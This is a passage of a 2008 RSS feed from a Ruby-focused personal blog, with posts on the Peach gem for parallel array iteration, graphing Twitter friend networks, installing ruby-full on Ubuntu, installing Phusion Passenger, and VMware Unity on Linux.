<p>Functions like map, each, and delete_if are often used in a functional, side-effect free style. If the operation in the block is computationally intense, performance can often be gained by multithreading the process. That&#8217;s where Peach comes in. In the simplest case, you are one letter away from harnessing the power of parallelism and unlocking the secret of a guilt-free tan. At this stage, the goggles are purely optional.<br />
Using Peach</p>
<p>Suppose you are going about your day job hacking away at code for the WOPR when you stumble upon the code:<br />
<code>cities.each {|city| thermonuclear_war(city)}</code><br />
Clearly, the only winning move is to declare war in parallel. With Peach, the new code is:<br />
<code>require 'peach'</p>
<p>cities.peach {|city| thermonuclear_war(city)}</code><br />
Requiring peach.rb monkey patches Array into submission. Currently Peach provides peach, pmap, and pdelete_if. Each of these functions takes an optional argument n, which represents the desired number of worker threads with the default being one thread per Array element. For cheaper operations on a large number of elements, you probably want to set n to something reasonably low.</p>
<p><code>(0...10000).to_a.pmap(4) {|x| process(x)}</code><br />
Constructing the threads and adding on a few layers of indirection does add a bit of overhead to the iteration especially on MRI. Keep this in mind and remember to benchmark when unsure.<br />
Syntax (without all the words)</p>
<p><code>require 'peach'</p>
<p>[1,2,3,4].peach{|x| f(x)} #Spawns 4 threads, =&gt; [1,2,3,4]<br />
[1,2,3,4].pmap{|x| f(x)} #Spawns 4 threads, =&gt; [f(1),f(2),f(3),f(4)]<br />
[1,2,3,4].pdelete_if{|x| x &gt; 2} #Spawns 4 threads, =&gt; [3,4]</p>
<p>[1,2,3,4].peach(2){|x| f(x)} #Spawns 2 threads, =&gt; [1,2,3,4]<br />
[1,2,3,4].pmap(2){|x| f(x)} #Spawns 2 threads, =&gt; [f(1),f(2),f(3),f(4)]<br />
[1,2,3,4].pdelete_if(2){|x| x &gt; 2} #Spawns 2 threads, =&gt; [3,4]</code></p>
<p>Extracted from the Developers&#8217;s web site: http://peach.rubyforge.org/</p>
<p>UPDATE: Gracias!, Irlandes Borracho por la correccion en el titulo.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2008/04/21/peach-thread-each/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>TwitterGrapher</title>
		<link>http://www.freedomcoder.com.ar/2008/04/14/twittergrapher/</link>
		<comments>http://www.freedomcoder.com.ar/2008/04/14/twittergrapher/#comments</comments>
		<pubDate>Mon, 14 Apr 2008 20:11:07 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2008/04/14/twittergrapher</guid>
		<description><![CDATA[As part of my research for my thesis and other security related implications, I decided to create a program to create a graph of different type of degrees of relationships in twitter. As of now I only being able to grasp a small amount of the total research but so far so good. So I decided to share some of the first graphs and some of my problems. 
<br />
1. The first graph worth talking about is, The friends of my friends. As shown below the graph is nice, but it does not show any interesting data, besides the fact that almost all share friends in common that I do not have in my list. 
<a href="http://www.freedomcoder.com.ar/images/FC-Degree-2.jpg"><img src="http://www.freedomcoder.com.ar/images/FC-Degree-2-small.jpg" width="100%"></a>

2.  When I decided to move to higher degrees the application was able to retrieve the data but the library (graphviz) was unable to generate a jpg or png. In the case of a SVG I was able to create the file but, neither Linux nor Linux64 nor OSX where able to load the image.  When I tried to generate a png or jpg the gd or the application gave me a core dump. Thanks Juan, for lending me your Linux64 computation time :D.
<a href="http://www.freedomcoder.com.ar/images/FC-2-yed.jpg"><img src="http://www.freedomcoder.com.ar/images/FC-2-yed.jpg" width="100%"></a>
<br />
3. I decided to try with GraphML format instead of the graphviz's dot format. It is worth noting that the degree 2 graph were generated much faster, but again we run into trouble when rendering the huge load of node and edges when I came down to 3 or more degrees. This time was not a matter of not being able to render the images but instead the program I was using Yed, I guess is using an algorithm that does not take into account the fact that I want to see something instead of a huge ball of edges and nodes :D.
<br />
4. Again more problems, but this time with the application not handling the loads.  Now I decided I was a good time to redesign the application for more scalability and this is what I'm doing so far. So I will post the code as soon as I have that. 
Cheers and hopefully someone likes or can use this post for something. Ohh.. and this is not finished by far hopefully from here a lot of thing will be created and some new functions will be added to the app. And of course all this is written in RUBY ! :D
]]></description>
			<content:encoded><![CDATA[<p>As part of my research for my thesis and other security related implications, I decided to create a program to create a graph of different type of degrees of relationships in twitter. As of now I only being able to grasp a small amount of the total research but so far so good. So I decided to share some of the first graphs and some of my problems.<br />
<br />
1. The first graph worth talking about is, The friends of my friends. As shown below the graph is nice, but it does not show any interesting data, besides the fact that almost all share friends in common that I do not have in my list.<br />
<a href="http://www.freedomcoder.com.ar/images/FC-Degree-2.jpg"><img src="http://www.freedomcoder.com.ar/images/FC-Degree-2-small.jpg" width="100%"></a></p>
<p>2.  When I decided to move to higher degrees the application was able to retrieve the data but the library (graphviz) was unable to generate a jpg or png. In the case of a SVG I was able to create the file but, neither Linux nor Linux64 nor OSX where able to load the image.  When I tried to generate a png or jpg the gd or the application gave me a core dump. Thanks Juan, for lending me your Linux64 computation time <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> .<br />
<a href="http://www.freedomcoder.com.ar/images/FC-2-yed.jpg"><img src="http://www.freedomcoder.com.ar/images/FC-2-yed.jpg" width="100%"></a><br />
<br />
3. I decided to try with GraphML format instead of the graphviz&#8217;s dot format. It is worth noting that the degree 2 graph were generated much faster, but again we run into trouble when rendering the huge load of node and edges when I came down to 3 or more degrees. This time was not a matter of not being able to render the images but instead the program I was using Yed, I guess is using an algorithm that does not take into account the fact that I want to see something instead of a huge ball of edges and nodes <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> .<br />
<br />
4. Again more problems, but this time with the application not handling the loads.  Now I decided I was a good time to redesign the application for more scalability and this is what I&#8217;m doing so far. So I will post the code as soon as I have that.<br />
Cheers and hopefully someone likes or can use this post for something. Ohh.. and this is not finished by far hopefully from here a lot of thing will be created and some new functions will be added to the app. And of course all this is written in RUBY ! <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2008/04/14/twittergrapher/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Comentario Ubuntu + Ruby</title>
		<link>http://www.freedomcoder.com.ar/2008/04/13/comentario-ubuntu-ruby/</link>
		<comments>http://www.freedomcoder.com.ar/2008/04/13/comentario-ubuntu-ruby/#comments</comments>
		<pubDate>Mon, 14 Apr 2008 00:57:23 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[How-To]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Spanish]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2008/04/13/comentario-ubuntu-ruby</guid>
		<description><![CDATA[Queriendo instalar un programa que he estado haciendo que pronto posteare, me encontre queriendolo probar en ubuntu. Luego de instalar ruby, irb, rubygems, ..., procedi a instalar una gem que necesitaba. El problema comenzo cuando este mensaje aparecio
<code>
The error I'm getting is:
extconf.rb:6:in `require': no such file to load -- mkmf (LoadError)
        from extconf.rb:6 
</code>
Lo primero que se me ocurrio, ups no tengo build-essential ( metapaquete para compilar en ubuntu ). Pero no seguia haciendo el mismo problema luego de instalar este metapaquete. Luego de googlear un rato encontre que se era problema de ruby-dev. Ademas, tambien encontre que en Ubuntu hay un metapaquete para ruby llamado <a href="http://packages.ubuntu.com/gutsy/interpreters/ruby-full">ruby-full</a> que te instala todo lo que necesitas para empezar a programar y compilar cosas con ruby (algunas gems necesitan un poco de compilacion :D). 

Bueno, entonces un <strong> #sudo apt-get install ruby-full </strong> resolvio todos mis problemas. ]]></description>
			<content:encoded><![CDATA[<p>Queriendo instalar un programa que he estado haciendo que pronto posteare, me encontre queriendolo probar en ubuntu. Luego de instalar ruby, irb, rubygems, &#8230;, procedi a instalar una gem que necesitaba. El problema comenzo cuando este mensaje aparecio<br />
<code>The error I'm getting is:<br />
extconf.rb:6:in `require': no such file to load -- mkmf (LoadError)<br />
        from extconf.rb:6 </code><br />
Lo primero que se me ocurrio, ups no tengo build-essential ( metapaquete para compilar en ubuntu ). Pero no seguia haciendo el mismo problema luego de instalar este metapaquete. Luego de googlear un rato encontre que se era problema de ruby-dev. Ademas, tambien encontre que en Ubuntu hay un metapaquete para ruby llamado <a href="http://packages.ubuntu.com/gutsy/interpreters/ruby-full">ruby-full</a> que te instala todo lo que necesitas para empezar a programar y compilar cosas con ruby (algunas gems necesitan un poco de compilacion <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> ). </p>
<p>Bueno, entonces un <strong> #sudo apt-get install ruby-full </strong> resolvio todos mis problemas. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2008/04/13/comentario-ubuntu-ruby/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Finally mod_rails !</title>
		<link>http://www.freedomcoder.com.ar/2008/04/13/finally-mod_rails-/</link>
		<comments>http://www.freedomcoder.com.ar/2008/04/13/finally-mod_rails-/#comments</comments>
		<pubDate>Sun, 13 Apr 2008 15:06:38 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[How-To]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2008/04/13/finally-mod_rails-</guid>
		<description><![CDATA[Extrated from <a href="http://www.modrails.com">mod_rails</a> Homepage:
"Phusion Passenger ? a.k.a. mod_rails ? makes deployment of applications built on the revolutionary Ruby on Rails web framework a breeze. It follows the usual Ruby on Rails conventions, such as ?Don?t-Repeat-Yourself?."

The most important thing, installation:

   1.   Open a terminal, and type:
<code>
      gem install passenger
</code>
   2. Type:
<code>
      passenger-install-apache2-module
</code>
      And follow the instructions.

Well, enjoy and let the party begin with Apache and Rails. Hopefully, my provider Dreamhost will be deploying this soon to production. ]]></description>
			<content:encoded><![CDATA[<p>Extrated from <a href="http://www.modrails.com">mod_rails</a> Homepage:<br />
&#8220;Phusion Passenger ? a.k.a. mod_rails ? makes deployment of applications built on the revolutionary Ruby on Rails web framework a breeze. It follows the usual Ruby on Rails conventions, such as ?Don?t-Repeat-Yourself?.&#8221;</p>
<p>The most important thing, installation:</p>
<p>   1.   Open a terminal, and type:<br />
<code>      gem install passenger</code><br />
   2. Type:<br />
<code>      passenger-install-apache2-module</code><br />
      And follow the instructions.</p>
<p>Well, enjoy and let the party begin with Apache and Rails. Hopefully, my provider Dreamhost will be deploying this soon to production. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2008/04/13/finally-mod_rails-/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Vmware Workstation 6.5  with unity in GNU/Linux</title>
		<link>http://www.freedomcoder.com.ar/2008/04/08/vmware-workstation-65-with-unity-in-gnulinux/</link>
		<comments>http://www.freedomcoder.com.ar/2008/04/08/vmware-workstation-65-with-unity-in-gnulinux/#comments</comments>
		<pubDate>Tue, 08 Apr 2008 18:28:23 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[How-To]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2008/04/08/vmware-workstation-65-with-unity-in-gnulinux</guid>
		<description><![CDATA[Finally, Vmware has included unity to Vmware workstation for Linux, for now it is only available in the upcoming 6.5 version Public beta. I decided to download it and give it a try since I use vmware a lot I and would love that integration that I have with vmware fusion and parallels in my mac. 
Honestly, when I installed vmware I was a little sceptic (brit. for skeptic) about how it will run on  Compiz Fusion. Once I installed I was amazed by how well it run, although, my skeptisism was not unfounded since the refresh of the windows still is a little arghhh :D. But the windows have all the effects and gnome recognizes them as windows, as we can appreciate in the screenshot below.    Anyway, big ups for Vmware, they are finally pushing a little of that nice look and feel that they have in the mac to the Linux world. 
Even though we are geeks we still like our desktop to look nice. :D ( mmm thats why I use osx as my desktop ? nahh I love my Compiz Fusion effects no OS has that yet.)

<a href="http://www.freedomcoder.com.ar/images/vmware-unity.png"><img src="http://www.freedomcoder.com.ar/images/vmware-unity.png" width="100%"></a>

]]></description>
			<content:encoded><![CDATA[<p>Finally, Vmware has included unity to Vmware workstation for Linux, for now it is only available in the upcoming 6.5 version Public beta. I decided to download it and give it a try since I use vmware a lot I and would love that integration that I have with vmware fusion and parallels in my mac.<br />
Honestly, when I installed vmware I was a little sceptic (brit. for skeptic) about how it will run on  Compiz Fusion. Once I installed I was amazed by how well it run, although, my skeptisism was not unfounded since the refresh of the windows still is a little arghhh <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> . But the windows have all the effects and gnome recognizes them as windows, as we can appreciate in the screenshot below.    Anyway, big ups for Vmware, they are finally pushing a little of that nice look and feel that they have in the mac to the Linux world.<br />
Even though we are geeks we still like our desktop to look nice. <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  ( mmm thats why I use osx as my desktop ? nahh I love my Compiz Fusion effects no OS has that yet.)</p>
<p><a href="http://www.freedomcoder.com.ar/images/vmware-unity.png"><img src="http://www.freedomcoder.com.ar/images/vmware-unity.png" width="100%"></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2008/04/08/vmware-workstation-65-with-unity-in-gnulinux/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

